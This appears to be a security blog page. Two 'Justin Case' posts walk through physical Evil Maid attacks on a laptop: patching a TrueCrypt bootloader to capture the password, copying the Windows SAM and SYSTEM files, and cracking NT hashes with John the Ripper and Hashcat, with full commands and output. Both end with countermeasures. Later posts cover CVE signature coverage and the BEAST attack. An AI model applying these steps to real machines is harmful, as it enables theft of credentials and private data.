Justin Case steals SAM – Part II

TrueCryptIn part I of this story I wrote on how someone with physical access to a system could easily steal all kinds of sensitive data like passwords, plans for corporate takeover, trade secrets, tax information or family photos which the owners would not want to be disclosed. This would be accomplished  in a stealthy manner. This could also happen if a laptop is lost or stolen of course in this way the owner would notice and could respond to the incident .

Nonetheless, one way to address this problem is to encrypt the hard drive. In this case even if the laptop is stolen, lost or rebooted using a USB stick to bypass security the files will be unreadable. However, while this is a valuable countermeasure against lost or theft of data it will not defend against sophisticated and motivated attackers.  Back in 2009, Joanna Rutkowska – a brilliant security researcher – implemented the Evil Maid attack against a system with full disk encryption using TrueCrypt.

The concept is similar as in the previous article:

  1. Justin Case prepares a bootable USB stick with evilmaidusb-1.01.img image.
  2. Justin Case sneaks into Ivan Idea room and boot the laptop with the bootable USB stick.
  3. After 1 or 2 minutes the laptop would check if the system is running TrueCrypt Boot Loader is running [v 6.0a and 6.2a].
  4. Using the command prompt Justin Case can infect the Boot Loader with an infected version.
  5. The computers is turned off and he leaves the room
  6. Ivan Idea gets back to his is room and inserts his password during the boot process to work a little bit and then leaves the room again.
  7. Justin Case goes back into  the room. It boots the laptop again with the USB stick and the password is revealed. Now he has the key to decrypt the hard drive, he can steal data.
  8. Now with the password,  Justin Case boots the system with Backtrack and mounts the encrypted volume with TrueCrypt utility and then dumps the hashes and cracks the passwords.

Lets look into each one of these steps.

The following illustrate the bootable USB stick and the usage of the TrueCrypt Evil Maid Patch v0.1

SYSLINUX 3.75 2009-04-16 EBIOS Copyright (C) 1994-2009 
Booting the kernel. it will take up to a minute...
Mounting proc filesystem
Mouting sysfs filesystem
Creating /dev
Creating initial device nodes
Setting up hotplug
Loadling /lib/kbd/keymaps/i386/querty/us.map
Creating block device nodes.
Creating character device nodes.
Making device-mapper control node
Waiting for the USB stick to initi...
Waiting for the USB stick to initi...
Waiting for the USB stick to initi...
sd 4:0:0:0: [sdb] Assuming drive cache: write trough
sd 4:0:0:0: [sdb] Assuming drive cache: write trough
sd 4:0:0:0: [sdb] Attached SCSI removable disk
Mount command: mount -r -t vfat /dev/sdb1 mnt/stick
TARGET = /dev/sda
What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot
E
remouting /mnt/stick rw...
TrueCrypt EvilMaid patcher v0.1
--------------------------------
TrueCrypt Boot Loader detected
PatchTrueCrypt(): Compressed loader size: 11641 bytes
PatchTrueCrypt(): Loader memory size: 0x6C00 (27648) bytes
PatchTrueCrypt(): Decompressing the boot loader
PatchTrueCrypt(): Decompression successful
PatchTrueCrypt(): Decompressed loader physical size: 18790 bytes
PatchAskPassword(): AskPassword() located at offset 0x1B24
PatchTrueCrypt(): Compressing the patched loader
PatchTrueCrypt(): Compression successful
PatchTrueCrypt(): Compressed patched loader size: 11753 bytes
PatchTrueCrypt(): New checksum: 0xD88FD56F
saving original sectors in /mnt/stick/sectors-2013-10-15-221453
remouting /mnt/stick in ro...
done; you can reboot safely.
What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot
R

After this the TrueCrypt Boot Loader is infected and will capture the password next time the password is introduced. Then one could boot the system again with the USB stick to reveal the password:

SYSLINUX 3.75 2009-04-16 EBIOS Copyright (C) 1994-2009 
Booting the kernel. it will take up to a minute...
Mounting proc filesystem
Mouting sysfs filesystem
Creating /dev
Creating initial device nodes
Setting up hotplug
Loadling /lib/kbd/keymaps/i386/querty/us.map
Creating block device nodes.
Creating character device nodes.
Making device-mapper control node
Waiting for the USB stick to initi...
Waiting for the USB stick to initi...
Waiting for the USB stick to initi...
sd 4:0:0:0: [sdb] Assuming drive cache: write trough
sd 4:0:0:0: [sdb] Assuming drive cache: write trough
sd 4:0:0:0: [sdb] Attached SCSI removable disk
Mount command: mount -r -t vfat /dev/sdb1 mnt/stick
TARGET = /dev/sda
What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot
E
remouting /mnt/stick rw...
TrueCrypt EvilMaid patcher v0.1
--------------------------------
TrueCrypt Boot Loader detected
PatchTrueCrypt(): Compressed loader size: 11753 bytes
PatchTrueCrypt(): Loader memory size: 0x6C00 (28672) bytes
PatchTrueCrypt(): Decompressing the boot loader
PatchTrueCrypt(): Decompression successful
PatchTrueCrypt(): Decompressed loader physical size: 27687 bytes
PatchAskPassword(): Loader is already infected
PatchTrueCrypt(): PatchAskPassword() failed
DisplayTrueCryptPassword(): Password is "encrypt"
saving original sectors in /mnt/stick/sectors-2013-10-15-221802
remouting /mnt/stick in ro...
done; you can reboot safely.
What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot

Now that Justin Case has the password he can boot a Linux Live CD like Backtrack, install TrueCrypt and then mount the TrueCrypt volume to steal the SAM database and SYSTEM registry file which contains the SYSKEY:

root@root:~# tar -xzvf truecrypt-7.1a-linux-x86.tar.gz
root@root:~# ./truecrypt-7.1a-setup-x86

root@root:~# fdisk -l
Disk /dev/sda: 160.0 GB, 160041885696 bytes
255 heads, 63 sectors/track, 19457 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0000cbec
Device Boot Start End Blocks Id System
/dev/sda1 * 1 13 102400 7 HPFS/NTFS
Partition 1 does not end on cylinder boundary.
/dev/sda2 13 18995 152473600 7 HPFS/NTFS

root@root:~# truecrypt --text --mount-options=system /dev/sda2 /mnt/ 
Enter password for /dev/sda2: 
Enter keyfile [none]: none
Protect hidden volume (if any)? (y=Yes/n=No) [No]: N

root@root:~# truecrypt --text -l -v 
Slot: 1
Volume: /dev/sda2
Virtual Device: /dev/mapper/truecrypt1
Mount Directory: /mnt
Size: 145 GB
Type: Normal
Read-Only: No
Hidden Volume Protected: No
Encryption Algorithm: AES
Primary Key Size: 256 bits
Secondary Key Size (XTS Mode): 256 bits
Block Size: 128 bits
Mode of Operation: XTS
PKCS-5 PRF: HMAC-RIPEMD-160
Volume Format Version: 1
Embedded Backup Header: No

root@root:~# ls /mnt/
autoexec.bat Documents and Settings pagefile.sys ProgramData Recovery System Volume Information Windows
config.sys hiberfil.sys PerfLogs Program Files $Recycle.Bin Users

root@root:~# cp /mnt/Windows/System32/config/SAM /media/USB
root@root:~# cp /mnt/Windows/System32/config/SYSTEM /media/USB

With the SAM database and SYSKEY we could use the attack mention on the previous article. Another way, eventually one could go further and dump the NT hashes. Because there is direct access to the SAM database and SYSTEM registry file we could run the bkhive tool for linux which recovers the Syskey bootkey from system hive file and then samdump2 for linux who dumps Windows password hashes. Both tools were originally made by Nicola Cuomo. Finally, we use  John the Ripper to crack the passwords using a dictionary attack.

root@root:~# bkhive /mnt/Windows/System32/config/SYSTEM syskey-output

bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
Root Key : CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
Default ControlSet: 001
Bootkey: 3ea5580bee2fa204f9b5110e47d200f7

root@root:~# samdump2 /mnt/Windows/System32/config/SAM syskey-output > ACME-NT-Hashes
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
Root Key : CMI-CreateHive{899121E8-11D8-44B6-ACEB-301713D5ED8C}

root@root:~# cat ACME-NT-Hashes 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dd21163c6ab4dff1517f0ba7464a511d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Ivan.Idea:1000:aad3b435b51404eeaad3b435b51404ee:c0d303c74587269c9557c706365ba8f0:::
Dee.Plomassy:1001:aad3b435b51404eeaad3b435b51404ee:250cfeaa42d97f8ea0d30400e8016d29:::
Herman.Nootix:1002:aad3b435b51404eeaad3b435b51404ee:09238831b1af5edab93c773f56409d96:::
Polly.Tix:1003:aad3b435b51404eeaad3b435b51404ee:1f255ea9557f52407f4290c904447f1a:::

root@root:/pentest/passwords/john# ./john ~/ACME-NT-Hashes --format=NT --wordlist=big-dictionary.lst
Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
bigideas (Ivan.Idea)
StR0ngP4ss (Dee.Plomassy)
LovePolitics (Polly.Tix)
P4$$w0rd (Herman.Nootix)

root@root:~# truecrypt --text -d /mnt/
root@root:~# shutdown -d now

When using a laptop or other mobile device regardless of being used inside the organization or outside for business use, protection mechanisms and strategies should be enforced in order to maintain its confidentiality, integrity and availability.  “No laptop should contain sensitive information on the hard drive or the hard drive should be removed and carried separately from the machine. It is estimated that on in four laptops will be stolen, so this is a very real threat. Let the machine go but make sure there is no company information going with it” [1]. However this might not be practical to your environment or business requirements one could consider – apart of the already mentioned and among others – the following countermeasures for Laptops [2]:

  • Use a cable lock during travel. They deter the casual theft. Lock it whenever you have to leave it unattended.
  • Do not leave your laptop unattended.
  • Use strong passwords. The stronger the password the less likely it will be for someone guess it or crack it.
  • Encrypt your data. Could be expensive but it should be considered if the value of the corporate or personal data information outweighs the costs of encrypting it.
  • Lo-Jack for Laptops. It will help to recover your laptop in case of theft. After being stolen or lost, if the laptop is connected to the internet, the tracking software will locate the laptop and notify law enforcement.

References:
[1] M. Desman. Building an Information Security Awareness Program (Auerbach Publications, 2001)
[2] Official (ISC)2 Guide to ISSAP CBK (Auerbach Publications, 2011)

Further Reading:
Evil Maid” Attacks on Encrypted Hard Drives
Evil Maid goes after TrueCrypt!
Lest We Remember: Cold Boot Attacks on Encryption Keys
Research on cold boot attacks from Princeton University
Attacking the BitLocker Boot Process∗
Quickpost: Disassociating the Key From a TrueCrypt System Disk
SYSKEY

Tagged , ,

Justin Case steals SAM – Part I

The concept behind physical attacks –  a.k.a. Evil Maid – are not new or sophisticated. However is important to raise awareness about how someone with motive, opportunity and means could easily pull off an attack against a system in which there is physical access. Such attack can, for example, be used to steal the users password file from the operating system. These file contains the users passwords representations using a one way hashing function. Usually the operating systems password file is well protected and difficult to steal but someone with physical access could easily get to it.

On a typical Windows machine the hashed password file is stored locally in the security account manager (SAM) database located in the windows/system32/config/ folder or remotely in Active Directory servers. Furthermore, the local SAM database could be encrypted with a additional 128 bit encryption using SYSKEY method. On  a typical Linux machine the hashed passwords are stored in the shadow file located in /etc/. In addition, there is the passwd file which contains the account information.  Besides that, Windows hashes are not salted.  Unix hashes are. Without salt, users with the same password will have the same hash representation and it will increase the likelihood for someone to obtain the password and/or cracking it using rainbow tables.

After obtaining the password file with the passwords representations in form of hashes, someone could use different methods to crack the passwords. For example, one could use a dictionary, brute force or hybrid attack techniques among others.

The below scenario illustrates a step-by-step physical attack against a Windows system that contains un-encrypted hard drives. This system uses the NT hashing function in conjunction with SYSKEY encryption to store the password representation. To give some more background, on Windows passwords the Windows NT operating systems up to and including Windows Server 2003 store two password hashes, the LAN Manager (LM) hash and the Windows NT hash. Starting in Windows Vista, the capability to store both is there but disabled by default. The NT hash is a MD4 hash of the plaintext password. It supports all Unicode characters and passwords up to 256 characters long.

Scenario: Justin Case, a high-priced lawyer and an operative for V.I.L.E. found that ACME is working on a new high-profile deal. Justin Case wants to get the hands on that information to sell it to the competitors. He knows that Ivan Idea is going to fly to Paris to have an important meeting at known hotel in city center. Ivan Idea will be taking ACME laptop with him. Justin Case mission is to sneak into the hotel room of Ivan Idea and get his ACME laptop passwords.

How can Justin Case accomplish this?

  1. Justin Case prepares a bootable USB stick or CD.
  2. Justin Case sneaks into Ivan Idea room and boot the laptop with the bootable USB stick.
  3. After 1 or 2 minutes the laptop is running a shell with full access to hard drives (NTFS volumes).
  4. Using the command prompt Justin Case steals the SAM database and the SYSTEM registry file.
  5. Justin Case goes back into  his office and loads the SAM database and the SYSKEY into CAIN and export the NT hashes into a file.
  6. Justin Case launches a dictionary attack and brute force attack against the NT hashes using Hashcat taking advantage of powerful GPUs (HD Radeon Dual 7990).

Let’s look into each one of these steps in detail:

First, to create a bootable USB/CD there are a variety of methods and tools. In this case he will use  the Offline NT Password & Registry Editor tool created by Petter N Hagen. Noteworthy, that any Linux live CD distro will do the job such as Ophrack or BackTrack. The files needed to create a bootable USB stick are available here and the steps need are well documented.

ONPRE

Second, Justin Case sneaks into Ivan Idea room and boot’s the laptop with a USB stick containing the Offline NT Password & Registry tool. He could typically  just press the boot order key during P.O.S.T. and  choose to boot from USB. The following image is the tool first screen to choose the boot options.

ONPRE2

After boot, the tool automatically detects the hard drives and asks to choose which hard drive you want to mount.

ONPRE3

Then he selects which path to search for the SAM database and the SYSTEM registry file. The default option will work on typical Windows installations.

ONPRE4

Then, the selected hard drive is mounted and he needs to choose what is the path for the SAM and registry files.

ONPRE5

Forth step consists of running a command prompts and copying the SAM Database and the SYSTEM registry file into the USB stick.  Both files need to be copied, as the SYSTEM file contains the SYSKEY with which to decrypt the hashes from the SAM database. Eventually, with this tool, he could do a password reset and change the password for the admin user. However in this case Justin Case wants to be stealth as possible without leaving trace that he got access to the system. As any other Linux system he opens another terminal window with CTRL+F2. Then he can mount the USB drive into /mnt folder and copy the SAM database and SYSTEM registry system file.

#mount /dev/sdb1 /mnt
#cp /disk/WINDOWS/system32/config/SAM /mnt
#cp /disk/WINDOWS/system32/config/SYSTEM /mnt
#umount /mnt

He turns off the laptop and leaves.

Fifth step, Justin Case goes back into  his office and loads the SAM database and the SYSKEY into CAIN  – extremely rich tool made by Massimiliano Montoro – and export the NT hashes into a file.

To do this, in CAIN he goes into the Cracker tab in. Then on the left he selects the NTLM Hashes and then on the right, right click and select Add to List.  Here choose to Import Hashes from SAM database and choose the SAM file. Then in the Boot Key field select open the SYSTEM Registry file and insert the value.

Cain2

After clicking next, the accounts and respective password representations will show.

Cain3

Right click – Export. This will save the hashes in L0pthCrack format. The file contents will be like the following:

Administrator:"":"":AAD3B435B51404EEAAD3B435B51404EE:DD21163C6AB4DFF1517F0BA7464A511D
Guest:"":""::
Ivan.Idea:"":"":AAD3B435B51404EEAAD3B435B51404EE:C0D303C74587269C9557C706365BA8F0
Dee.Plomassy:"":"":AAD3B435B51404EEAAD3B435B51404EE:250CFEAA42D97F8EA0D30400E8016D29
Herman.Nootix:"":"":AAD3B435B51404EEAAD3B435B51404EE:09238831B1AF5EDAB93C773F56409D96
Polly.Tix:"":"":AAD3B435B51404EEAAD3B435B51404EE:1F255EA9557F52407F4290C904447F1A

The sixth step consists of using two techniques for cracking the passwords. The first technique, dictionary based, is the fastest. It consists in testing all the words in a dictionary file against the hashes.  Basically every word in the dictionary is hashed and then compared with the hashes from the password file. If this matches then he has found the password. Other technique is the brute force attack which is the most powerful but the slowest. It consists in testing all the possible combinations until it cracks it. To execute this methods there are several tools available such as CAIN or John the Ripper. In this case we want to take advantage of graphic cards (GPU) computing power versus using CPU to compute and crack the hashes.

To accomplish this, Justin Case launches a dictionary attack and then a brute force attack against the NT hashes using Hashcat – An extremely fast and powerful password cracking tool made by Atom – using strong GPUs.

The first command will be executed to run a dictionary attack (-a 0) with the hashing algorithm type NTLM (-m 1000) using the well known rockyou wordlist containing over 14 million passwords. This attack will run for an incredible velocity of 32K hashes per second. It took 5 seconds with a HD Radeon Dual 7990 to go over all the words in the dictionary file, hash them and comparing the hash with the password file. In this case 2 passwords were found.

C:\Users\Justin.Case> oclHashcat-plus64.exe -a 0 -m 1000 ACME-NT-Hashes.txt rockyou.txt

oclHashcat-plus v0.15 by atom starting...
Hashes: 5 total, 1 unique salts, 5 unique digests
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Rules: 1
Workload: 256 loops, 80 accel
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Tahiti, 2048MB, 900Mhz, 32MCU
Device #2: Tahiti, 2048MB, 900Mhz, 32MCU
Device #1: Kernel ./kernels/4098/m1000_a0.Tahiti_1268.1_1268.1 (VM).kernel (477800 bytes)
Device #1: Kernel ./kernels/4098/bzero.Tahiti_1268.1_1268.1 (VM).kernel (30444 bytes)
Device #2: Kernel ./kernels/4098/m1000_a0.Tahiti_1268.1_1268.1 (VM).kernel (477800 bytes)
Device #2: Kernel ./kernels/4098/bzero.Tahiti_1268.1_1268.1 (VM).kernel (30444 bytes)
Cache-hit dictionary stats rockyou.txt: 139921519 bytes, 14343298 words, 14343298 keyspace
 
250cfeaa42d97f8ea0d30400e8016d29:StR0ngP4ss
09238831b1af5edab93c773f56409d96:P4$$w0rd
 
Session.Name...: oclHashcat-plus
Status.........: Exhausted
Input.Mode.....: File (rockyou.txt)
Hash.Target....: File (ACME-NT-Hashes.txt)
Hash.Type......: NTLM
Time.Started...: Mon Oct 14 20:48:39 2013 (4 secs)
Time.Estimated.: 0 secs
Speed.GPU.#1...: 17232.7 kH/s
Speed.GPU.#2...: 15074.3 kH/s
Speed.GPU.#*...: 32307.0 kH/s
Recovered......: 2/5 (40.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 14343298/14343298 (100.00%)
Rejected.......: 1599/14343298 (0.01%)
HWMon.GPU.#1...: 36% Util, 48c Temp, 46% Fan
HWMon.GPU.#2...: 64% Util, 66c Temp, N/A Fan
Started: Mon Oct 14 20:48:39 2013
Stopped: Mon Oct 14 20:48:44 2013

This attack is very effective and fast. But, not all passwords are on the dictionary file. As result Justin Case uses a brute force technique to pursue his goal. The second command will be executed to run a brute force attack (-a 3) with the hashing algorithm type NTLM (-m 1000). This attack will run for an incredible velocity of 12652M hashes comparison per second.

C:\Users\JustinCase>oclHashcat-plus64.exe -a 3 -m 1000 ACME-NT-Hashes.txt 
oclHashcat-plus v0.15 by atom starting...
Hashes: 5 total, 1 unique salts, 5 unique digests
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Workload: 256 loops, 80 accel
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Tahiti, 2048MB, 900Mhz, 32MCU
Device #2: Tahiti, 2048MB, 900Mhz, 32MCU
Device #1: Kernel ./kernels/4098/m1000_a3.Tahiti_1268.1_1268.1 (VM).kernel (135208 bytes)
Device #1: Kernel ./kernels/4098/markov_le_plus_v2.Tahiti_1268.1_1268.1 (VM).kernel (134476 bytes)
Device #1: Kernel ./kernels/4098/bzero.Tahiti_1268.1_1268.1 (VM).kernel (30444 bytes)
Device #2: Kernel ./kernels/4098/m1000_a3.Tahiti_1268.1_1268.1 (VM).kernel (135208 bytes)
Device #2: Kernel ./kernels/4098/markov_le_plus_v2.Tahiti_1268.1_1268.1 (VM).kernel (134476 bytes)
Device #2: Kernel ./kernels/4098/bzero.Tahiti_1268.1_1268.1 (VM).kernel (30444 bytes)
[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

c0d303c74587269c9557c706365ba8f0:bigideas

Session.Name...: oclHashcat-plus
Status.........: Running
Input.Mode.....: Mask (?1?1?1?1?1?1?1?1) [8]
Hash.Target....: File (ACME-NT-Hashes.txt)
Hash.Type......: NTLM
Time.Started...: Fri Oct 18 20:57:15 2013 (5 secs)
Time.Estimated.: Sat Oct 19 01:50:21 2013 (4 hours, 53 mins)
Speed.GPU.#1...: 6378.8 MH/s
Speed.GPU.#2...: 6378.9 MH/s
Speed.GPU.#*...: 12757.7 MH/s
Recovered......: 0/5 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 69457674240/218340105584896 (0.03%)
Rejected.......: 0/69457674240 (0.00%)
HWMon.GPU.#1...: 86% Util, 50c Temp, 47% Fan
HWMon.GPU.#2...: 97% Util, 70c Temp, N/A Fan
[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

In this case another password has been revealed. In a brute force attack using a charset that contains all upper-case letters, all lower-case letters and all digits for a password length of 8 we have to iterate trough 62^8 combinations – 26 upper-case  + 26 lower-case + 10 digits = 62 ^  the number of characters – . This is a huge number but with GPUs this attack can be feasible in a matter of hours. However, when you increase the length to 12 characters it could take years to crack using brute force techniques.

As you can see, it is only a matter of time before all possible characters combinations are tested and the password is exposed. Of course, depending on the length and complexity of the password and the hashing algorithm used the cracking could take minutes, years or decades.  One of the countermeasures against this type of attacks is a strong password policy. The policy should dictate that a password must be at least eight characters, with upper and lowercase letters and two special characters (*#$@). It should also have an expiration date and reuse policy. Long passwords which contain special characters are hard to crack and increases the likelihood of the attacker moving on to a easier victim.

Other countermeasures that reduce the exposure to this attack is using a combination of other authentication techniques also known as multi-factor authentication. The password authentication mechanism is based on something that a user normally knows, this is a single factor authentication. Other techniques are based on something the user is – biometric –  or something the user has – an access token -. Combining multiple factors of authentication, one could build a strong authentication scheme very costly to break.  Plus, you could protect your BIOS with a password and prevent the computer to boot from USB/CD increasing the difficulty of this attack.

In part II of this article I aim to write about how can Justin Case launch a similar attack but against a system with the hard drive encrypted with Truecrypt using technique described by Joanna Rutkowska.

Other References:

http://www.irongeek.com/i.php?page=videos/password-exploitation-class

Tagged ,

CVE September Awareness Bulletin

[Following last month’s CVE Awareness Bulletin, I introduced more IDS vendors and documented the process of gathering and producing such information. As a result, the article should offer a more consistent outlook across the upcoming months even though the effort is almost exclusively manual.]

The CVE September Awareness Bulletin is an initiative that aims to provide further intelligence and analysis concerning the last vulnerabilities published by the National Institute of Standards and Technology (NIST), National Vulnerability Database (NVD) and the IDS vendors’ coverage for these vulnerabilities.

Common Vulnerabilities and Exposures (CVE) is a public list of common names made available by MITRE Corporation for vulnerabilities and exposures that are publicly known.

This is the most popular list of vulnerabilities and is used as a reference across the whole security industry. It should not be considered absolute but due to the nature of its mission and the current sponsors – Department of Homeland Security (DHS), National Cybersecurity and Communications Integration Center (NCCIC) – it is widely adopted across the industry.

Based on this public information I decided to take a look at what has been released during the month of September. There were 464 vulnerabilities published where 100 were issued with a Common Vulnerability Scoring System (CVSS) score of 8 or higher – CVSS provides a standardized method for rating vulnerabilities using a scoring system based on their different properties from 1 to 10. From these security vulnerabilities, I compared the last signature updates available from products that have a significant share of the market i.e., Checkpoint, Tipping point, SourceFire, Juniper, Cisco and Palo Alto. The result is that Checkpoint has the best coverage with 20%. Tipping point and Sourcefire have 19%, Juniper 16%, Cisco 12% and the last Palo Alto with 10%.

The following graph illustrates the mapping between the CVEs published in September with a CVSS equal or higher than 8 by vulnerability type and the vendor coverage:

cve-september

In addition to looking at all the vulnerabilities released, it is also essential to look into detail for specific coverage like Microsoft products vulnerabilities. On the 10th of September the Microsoft Security Bulletin (a.k.a Patch Tuesday) announced 47 vulnerabilities. From these 30 have a CVSS score equal or higher than 8. From these the vendor coverage is shown in the following table:

MSBulletin-September

The vendors analyzed have provided signatures on the same date (10 of September) or few days later. The mentioned signatures and patches should be applied as soon as possible but you should also fully evaluate them (when possible) before applying it production systems.

In addition to that, following signature update deployment, you should always check which signatures have been enabled by default.  Plus you should be evaluating what is the impact in your environment for the CVEs that don’t have coverage.

Bottom line, the vendors that were analyzed have a quick response but the coverage should be broader. September we saw 100 vulnerabilities with a CVSS higher than 8 but only 20% of them have coverage in the best case (Checkpoint). This means 80% of the published vulnerabilities don’t have coverage. Regarding the vendor response to the Microsoft Security Bulletin Summary for September 2013, the coverage is better and goes up to 40% in the best case (Checkpoint). Interesting to note that some of these vulnerabilities are related to software that don’t have significant share in the market. Worth to mention that 15 of these vulnerabilities (15%) are related to Adobe products and they are not covered. Even if the vendors would have 100% coverage they would not apply to all environments. Furthermore, the likelihood of these vulnerabilities to be successful exploited should also be considered since some of them could be very hard to pull off. So it’s key that you know your infrastructure, your assets and mainly where are your business crown jewels. Then you should be able to help them better protect your intellectual property and determine will be the impact if your intellectual property gets disclosed, altered or destroyed.

Tagged , ,

CVE-2013-3893 – ISC Threat Level: Yellow

[Due to the fact that this new threat is getting pretty good attention across the security vendors and researchers I thought would be good to write a short summary about it.]

Microsoft released security advisory # 2887505 on the 17th September announcing vulnerability (CVE-2013-3893) impacting Internet Explorer versions 6 through 11. Microsoft, Fireeye, TrendMicro and SANS are aware of targeted attacks that attempt to exploit this vulnerability. Furthermore, the Internet Storm Center (SANS) increased their Infocon threat level to yellow due to increased evidence of exploits in the wild.  FireEye has discovered a campaign leveraging this vulnerability labeled Operation Deputy Dog part 1 and part 2. Websense reports that up to 70% of PCs are vulnerable. More in-depth technical details about how this Use After Free vulnerability in IE’s HTML rendering engine (mshtml.dll) is being exploited can be found on Microsoft Security Research and Defense blog.

IE users are advised to apply the Microsoft Fix it solution, “CVE-2013-3893 MSHTML Shim Workaround“, that prevents exploitation of this issue and deploy the Enhanced Mitigation Experience Toolkit (EMET) to protect against exploitation until a permanent fix is released. In addition there are set of workarounds that Microsoft encourages IE users to deploy. For the perimeter, Checkpoint, Juniper, Mcafee, SourceFire, Tipping point and the all the other major vendors have signature for it.

Since this attack could pose a serious security threat to your intellectual property, the Operation Deputy Dog camping done by Fireeye contains some indicators that could be searched across your logs (Unique HTTP Agent ID, Filenames, IP Addresses, Domain names) and/or used on your security infrastructure.

If you are concerned about the risk associated with this vulnerability please exercise caution when visiting websites or opening email addresses from suspicious senders.

Tagged ,

CVE August Awareness Bulletin

The CVE August Awareness Bulletin is a personal initiative and experience that aims to provide further intelligence and analysis concerning the last vulnerabilities published by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) and the vendors coverage for this vulnerabilities.

Common Vulnerabilities and Exposures (CVE) is a public list of common names made available by MITRE Corporation for vulnerabilities and exposures that are publicly known.

This is the most popular list of vulnerabilities used as a reference across the security industry. It should not be considered as absolute but due to nature of its mission and current sponsors – Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) – it carries a great amount of adoption across the industry.

Based on this public information I decided to take a look what has been publicized during the month of August. As of today, there were 300 vulnerabilities discovered In the current month where 40 security vulnerabilities were published with a Common Vulnerability Scoring System (CVSS) score of 8 or higher – CVSS provides a standardized method for rating vulnerabilities using a scoring system based on their different properties -. From these security vulnerabilities, I compared the last signature updates available from Juniper, Checkpoint, Tipping point and SourceFire for their NSM and IPS-1, SMS and DigitalCenter products respectively.  The result is that at the moment Checkpoint, Tipping point and Sourcefire have 25% coverage and Juniper 22,5%,

Eleven of forty published security vulnerabilities are related to Microsoft products. From these eleven, nine of them affect Internet Explorer.  Checkpoint, TippingPoint, SourceFire covers ten of the eleven vulnerabilities. Juniper only covers the ones related to Internet Explorer and not protecting against the CVE-2013-3175 and CVE-2013-3181.

The following graph illustrates the mapping between the CVEs published in August with a CVSS equal or higher than 8 by type and the vendor coverage:

CVE-August

The following table shows the August published CVEs related to Microsoft products that have been covered in the latest Checkpoint,  Juniper, Tipping Point and SourceFire  signature updates. It also includes the related Microsoft security bulletin:

CVE-table-August

Interesting that it looks like that Microsoft patch Tuesday is somehow coordinated with the security vendors signature updates. The ones analyzed have provided signatures on the same date (13 of August). The mentioned signatures and patches should be applied  as soon as possible but you should also fully evaluate them (when possible) before applying it production systems.

For further reference I include here where you can check the signatures on Juniper NSM and Checkpoint SmartCenter Server.

For Juniper NSM you can check the signatures under Configure – Object Manager – Attack Objects – IDP Objects:

NSM-Signatures

For Checkpoint IPS-1 you can check the signatures under IPS – Protections – By Type – Signatures:

Checkpoint-Signatures

For TippingPoint, on the SMS, go to Profiles. Then, from the navigation pane on the left, click the + sign next to the IPS Profiles to expand the category. Then select the search type (global or standard). The Profiles – Search screen displays and is divided in four areas. In the Filter Criteria are you can click the arrow next to it and specify the CVE id.

For SourceFire you can locate rules based on CVE numbers from within your intrusion policy by searching all rules using a certain search filter. Go to Policies – Intrusion – Intrusion Policy. Choose “Edit” next to your policy. Click on Rules. In the search filter, type “reference:” followed by the CVE that you wish to look for.

In addition, after deploying signature updates to the sensors you should check which signatures have been enabled by default.  Plus you should be checking and evaluating what is the impact on your environment for the CVEs that don’t have coverage.

Bottom line, the vendors that were analyzed have pretty quick and decent coverage for the signatures that are related to the big software vendors e.g., Microsoft. However, in August we saw 40 vulnerabilities with a CVSS higher than 8 but only 25% of them have coverage. This means 75% of the published vulnerabilities don’t have coverage. Interesting to note that these vulnerabilities are related to software that don’t have significant penetration in the market. Noteworthy, is that 5 vulnerabilities are related to Mozilla Firefox (CVE-2013-1701, CVE-2013-1702,CVE-2013-1704, CVE-2013-1705 and CVE-2013-1710) and they are not covered. Even if the vendors would have 100% coverage for all vulnerabilities they would not apply to all environments. So it’s key that you know your infrastructure, your assets and mainly where are and what are your business crown jewels. Then you should know how to protect your intellectual property and what will be the impact if your intellectual property gets disclosed, altered or destroyed.

Tagged , ,

Browser Exploit Against SSL/TLS

On my last post I wrote about how cipher suite decision works on SSL with a practical example. Today, I would like to write about what is the impact of choosing and prioritizing the appropriate cipher suites on your SSL environment.

Back in May 2011, Juliano Rizzo and Thai Duong released a paper named Here Come The XOR Ninjas [1]. This paper was a contribution to the security community on illustrating a concrete proof of concept against implementations of SSL 3.0 and TLS 1.0 using cipher block chaining (CBC) encryption scheme in a browser environment [3]. The attack also become known as The BEAST (Browser Exploit Against SSL/TLS) [2]. It has been widely publicized after it’s released since the vulnerability was known in the research community but before the paper, attacks against CBC were believed to be theoretical. As a reference, the use of predictable initialization vectors (IV) for CBC mode in a chosen-plaintext attack against SSL 3.0 and TLS 1.0 are described by Bodo Moeller here and by Gregory Bard here.  In a SSL connection if the data is encrypted using CBC with chained IVs, it allows a man-in-the-middle to obtain plain text HTTP headers using blockwise-adaptive chosen-plaintext attack [4][5]. In short it will allow decrypting HTTPS requests and steal information such as session cookies to be used to impersonate the user. The attack has been demonstrated by the researchers on the Ekoparty security conference using Java, a network sniffer and a popular browser [8].

Are you vulnerable to such attack? To quickly verify your web server SSL settings I would recommend looking at SSL Labs from Qualys and running the SSL Server test. If, for example,  you use a SSL load balancer or application firewall from F5 take a look here on how to reduce the exposure to this attack. All major vendors have information about how to configure and remediate this vulnerability. On 09 July 2011 the US National Vulnerability Database published CVE-2011-3389 to address this vulnerability with a CVSS score of 4.3.

